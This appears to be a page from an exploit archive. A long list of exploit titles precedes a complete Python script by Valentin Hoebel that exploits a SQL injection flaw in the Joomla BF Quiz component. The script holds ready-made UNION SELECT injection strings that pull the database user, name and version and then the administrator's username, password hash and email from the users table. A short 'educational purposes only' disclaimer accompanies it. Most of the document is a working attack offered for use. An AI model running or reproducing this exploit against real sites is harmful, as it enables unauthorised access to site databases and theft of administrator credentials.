
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
191 lines
No EOL
8.4 KiB
Python
Executable file
191 lines
No EOL
8.4 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
# Joomla Component BF Quiz SQL Injection Exploit
|
|
# by Valentin Hoebel (valentin@xenuser.org)
|
|
# Version 1.0 (29th May 2010)
|
|
# ASCII FOR BREAKFAST
|
|
|
|
# About the vulnerability:
|
|
# ----------------------------------------------------------------------------
|
|
# Read more here:
|
|
# http://xenuser.org/documents/security/joomla_com_bfquiz_sqli.txt
|
|
|
|
# About the exploit:
|
|
# ----------------------------------------------------------------------------
|
|
# Tries to give you the admin password hash!
|
|
|
|
# Usage example:
|
|
# python joomla_com_bfquiz_sploit.py - u "http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34"
|
|
|
|
# This tool war written for educational purposes only. I am not responsible for any damage
|
|
# you might cause using this tool. Know and respect your local laws!
|
|
# Only use this tool on websites you are allowed to test :)
|
|
|
|
# Greetz && THX
|
|
# ----------------------------------------------------------------------------------
|
|
# Greetz: cr4wl3r and /JosS
|
|
# Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn and packetstormsecurity.org
|
|
|
|
# Power to the cows!
|
|
|
|
import sys, re, urllib, urllib2, string
|
|
from urllib2 import Request, urlopen, URLError, HTTPError
|
|
|
|
# Prints usage
|
|
def print_usage():
|
|
print ""
|
|
print ""
|
|
print "________________________________________________"
|
|
print "Joomla Component BF Quiz SQL Injection Exploit"
|
|
print "by Valentin Hoebel (valentin@xenuser.org)"
|
|
print ""
|
|
print " (__) "
|
|
print " (oo) Version 1.0 (29th May 2010) "
|
|
print " /-------\/ "
|
|
print " / | || "
|
|
print " * ||----|| "
|
|
print " ~~ ~~ Power to teh cows!"
|
|
print "________________________________________________"
|
|
print ""
|
|
print "Exploits the SQL injection vulnerability I"
|
|
print "discovered within the Joomla component BF Quiz."
|
|
print ""
|
|
print "Usage example:"
|
|
print "python joomla_com_bfquiz_sploit.py - u \"http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34\""
|
|
print ""
|
|
print "Options:"
|
|
print " -u <URL> (start the exploit)"
|
|
print " --help (displays this text)"
|
|
print ""
|
|
print "Features:"
|
|
print " - Check if provided URL is reachable"
|
|
print " - Display current database, MySQL user and the MySQL version"
|
|
print " - Display the password hash of the Joomla administrator"
|
|
print ""
|
|
print ""
|
|
return
|
|
|
|
#Prints banner
|
|
def print_banner():
|
|
print ""
|
|
print ""
|
|
print "________________________________________________"
|
|
print "Joomla Component BF Quiz SQL Injection Exploit"
|
|
print "by Valentin Hoebel (valentin@xenuser.org)"
|
|
print ""
|
|
print " (__) "
|
|
print " (oo) Version 1.0 (29th May 2010) "
|
|
print " /-------\/ "
|
|
print " / | || "
|
|
print " * ||----|| "
|
|
print " ~~ ~~ Power to teh cows!"
|
|
print "________________________________________________"
|
|
return
|
|
|
|
# Testing if URL is reachable, with error handling
|
|
def test_url():
|
|
print "[.] Checking if connection can be established..."
|
|
try:
|
|
response = urllib2.urlopen(provided_url)
|
|
|
|
except HTTPError, e:
|
|
print "[!] The connection could not be established."
|
|
print "[!] Error code: ", e.code
|
|
print "[!]Exiting now!"
|
|
print ""
|
|
sys.exit(1)
|
|
except URLError, e:
|
|
print "[!] The connection could not be established."
|
|
print "[!] Reason: ", e.reason
|
|
print "[!] Exiting now!"
|
|
print ""
|
|
sys.exit(1)
|
|
else:
|
|
valid_target = 1
|
|
print "[.] Connected to target! URL seems to be valid."
|
|
return
|
|
|
|
def exploit_url():
|
|
# Define injection string for reading out basic information
|
|
information_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),97,98,99,100--"
|
|
admin_pass_hash_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),97,98,99,100+from+jos_users+LIMIT+0,1--"
|
|
|
|
# Craft the URLs which are about to be exploited
|
|
exploit_url_information = provided_url+information_injection_string
|
|
exploit_url_admin_pass_hash = provided_url+admin_pass_hash_injection_string
|
|
|
|
# Read out some interesting stuff
|
|
print "[.] Reading out some interesting information..."
|
|
response = urllib2.urlopen(exploit_url_information)
|
|
html = response.read()
|
|
|
|
# Now extract the interesting information
|
|
get_secret_data = string.find(html, "P0w3r t0 t3h c0ws!")
|
|
|
|
# If the target is not vulnerable exit
|
|
if get_secret_data == -1:
|
|
print "[!] Exploitation failed. Maybe the target isn't vulnerable?"
|
|
print "[!] Hint: The exploit doesn't work on every target by default."
|
|
print "[!] If you have knowledge about MySQL injection simply have a look at the source code and change the injection strings."
|
|
print "[!] For me it worked on 3/10 targets by default."
|
|
print "[!] Exiting now!"
|
|
print ""
|
|
sys.exit(1)
|
|
|
|
get_secret_data += 18
|
|
new_html4= html[get_secret_data :]
|
|
new_get_secret_data4 = string.find(new_html4, "P0w3r t0 t3h c0ws!")
|
|
new_html_5 = new_html4[:new_get_secret_data4]
|
|
|
|
# Data was received, now format and display it
|
|
formatted_output = str.split(new_html_5, ";")
|
|
print "[+] MySQL Database User: ", formatted_output[1:2]
|
|
print "[+] MySQL Database: ", formatted_output[2:3]
|
|
print "[+] MySQL Version: ", formatted_output[3:4]
|
|
|
|
# Now let's get the admin password hash!
|
|
print "[.] Getting the admin password hash..."
|
|
response = urllib2.urlopen(exploit_url_admin_pass_hash)
|
|
html = response.read()
|
|
get_secret_data = string.find(html, "P0w3r t0 t3h c0ws!")
|
|
get_secret_data += 18
|
|
new_html = html[get_secret_data :]
|
|
new_get_secret_data = string.find(new_html, "P0w3r t0 t3h c0ws!")
|
|
new_html_2 = new_html[:new_get_secret_data]
|
|
|
|
# Data was received, now format and display it
|
|
formatted_output = str.split(new_html_2, ";")
|
|
print "[+] ID: ", formatted_output[1:2]
|
|
print "[+] Name: ", formatted_output[2:3]
|
|
print "[+] Username: ", formatted_output[3:4]
|
|
print "[+] Password Hash: ", formatted_output[4:5]
|
|
print "[+] E-Mail Address: ", formatted_output[5:6]
|
|
print "[+] User status: ", formatted_output[6:7]
|
|
print "[.] That's it! Bye!"
|
|
print ""
|
|
sys.exit(1)
|
|
return
|
|
|
|
# Checking if argument was provided
|
|
if len(sys.argv) <=1:
|
|
print_usage()
|
|
sys.exit(1)
|
|
|
|
for arg in sys.argv:
|
|
# Checking if help was called
|
|
if arg == "--help":
|
|
print_usage()
|
|
sys.exit(1)
|
|
|
|
# Checking if URL was provided, if yes -> go!
|
|
if arg == "-u":
|
|
provided_url = sys.argv[2]
|
|
print_banner()
|
|
|
|
# At first we test if we can actually reach the provided URL
|
|
test_url()
|
|
|
|
# Now start the main exploit function
|
|
exploit_url()
|
|
|
|
### EOF ### |